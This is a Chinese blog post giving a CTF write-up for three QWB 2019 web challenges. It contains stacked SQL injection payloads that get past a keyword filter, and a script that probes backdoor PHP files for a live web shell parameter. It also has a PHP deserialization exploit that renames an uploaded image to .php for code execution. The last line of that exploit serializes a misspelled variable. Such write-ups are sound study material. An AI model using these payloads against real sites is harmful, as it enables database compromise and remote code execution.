美文网首页
QWB2019-WEB-WP

QWB2019-WEB-WP

作者: Shad0w_zz | 来源:发表于2019-05-29 22:29 被阅读0次

    随便注

    如题名描述,是一道注入题。
    Fuzz一下,发现

    • 1.WAF
      return preg_match("/select|update|delete|drop|insert|where|./i", $inject);
    • 2.通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注)

    猜测后台SQL语句应该为:
    select * from supersqli.table_name where id='' ;

    由于过滤了select关键词,无法自定义进行数据查询操作。
    经过进一步的测试后发现可以堆叠注入,通过’;show tables from supersqli;#等payload可以得知flag存在于1919810931114514表的flag字段中。

    这里还是由于select被过滤不能自定义查询内容,结合后台SQL语句,得出思路:将1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容。

    最终payload如下:

    ';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23
    

    (由于1919810931114514表中并没有id列,因此先添加id列)

    ';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;%23
    

    最后直接查询就可以得到原1919810931114514表中的内容。

    赛后学习一波ChaMd5师傅的操作

    1';create procedure vk()
    begin
      Set @v_sql=concat('sel','ect * from `1919810931114514`;');
      Prepare stmt from @v_sql;
      EXECUTE stmt;
      deallocate Prepare stmt;
    end;
    call vk();-- -
    

    高明的黑客

    下载www.tar.gz后发现是3000多个“木马”文件。
    简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,于是乎写了个脚本提取每个文件中的GET、POST参数,在本地测试是否能够命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数。

    import requests
    import re
    import os
    from time import sleep
    
    flies = os.listdir('./src')
    for i in flies:
        url = 'http://127.0.0.1/src/'+i
        f = open('./src/'+i)
        data = f.read()
        f.close()
        reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
        params = reg.findall(data)
        for j in params:
            payload = url + '/?' + j + '=echo 123456123456123456123456'
            print payload
            req=requests.get(payload)
            if '123456123456123456123456' in req.content:
                print payload
                exit();
    

    upload

    下载备份文件www.tar.gz进行源码审计
    漏洞点在Profile类中的upload_img()函数中:

        public function upload_img(){
            if($this->checker){
                if(!$this->checker->login_check()){
                    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                    $this->redirect($curr_url,302);
                    exit();
                }
            }
    
            if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);
                    @unlink($this->filename_tmp);
                    $this->img="../upload/$this->upload_menu/$this->filename";
                    $this->update_img();
                }else{
                    $this->error('Forbidden type!', url('../index'));
                }
            }else{
                $this->error('Unknow file type!', url('../index'));
            }
        }
    

    通过copy($this->filename_tmp, $this->filename);就可以任意更改文件名了。
    exp如下:

    class Register
    {
        public $checker;
        public $registed;
    }
    
    class Profile 
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    }
    
    $check = new Register();
    $check->registed=0;
    $check->checker = new Profile();
    $check->checker->except=array('index'=>'upload_img');
    $check->checker->ext=1;
    $check->checker->filename_tmp="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.png";
    $check->checker->filename="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.php";
    echo base64_encode(serialize($cheeck));
    

    相关文章

      网友评论

          本文标题:QWB2019-WEB-WP

          本文链接:https://www.haomeiwen.com/subject/vokytctx.html